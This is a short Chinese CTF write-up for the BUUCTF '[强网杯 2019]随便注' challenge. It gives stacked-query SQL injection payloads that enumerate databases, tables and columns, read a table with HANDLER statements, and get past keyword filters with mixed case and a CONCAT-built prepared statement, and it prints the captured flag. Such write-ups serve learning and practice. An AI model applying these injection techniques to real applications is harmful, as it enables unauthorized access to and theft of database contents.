提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
题目
BUUCTF的[强网杯 2019]随便注 1
一、做题步骤
1.测试
1.提交查询 :1
2.提交查询 :1’
会报错,并且提示数据库是MariaDB,MySQL中的一种
3.提交查询:select
报错,并且提示过滤的代码
2.注入,爆信息
1.爆数据库
?inject=1’ ;show databases;#
2.爆表名
?inject=1%27%20;show tables;#
3.爆列名/字段
?inject=1’;show columns from 1919810931114514
--+
1919810931114514 这个表名需要用反引号(``)括起来
4.因为.被过滤了
使用handler读取文件
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` read next #
?inject=1'; handler `1919810931114514` open as `a`; handler `a` read next;#
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read next #
得到flag{a1358633-c309-4f80-8bb1-8527a1f4dac7}
使用预编译的方式:
这道题select、set、prepare被过滤,采用大小写或者双写的方式过滤
?inject=1';sEt @sql = CONCAT('sele','ct * from `1919810931114514`;');prepArE aaa from @sql;EXECUTE aaa;#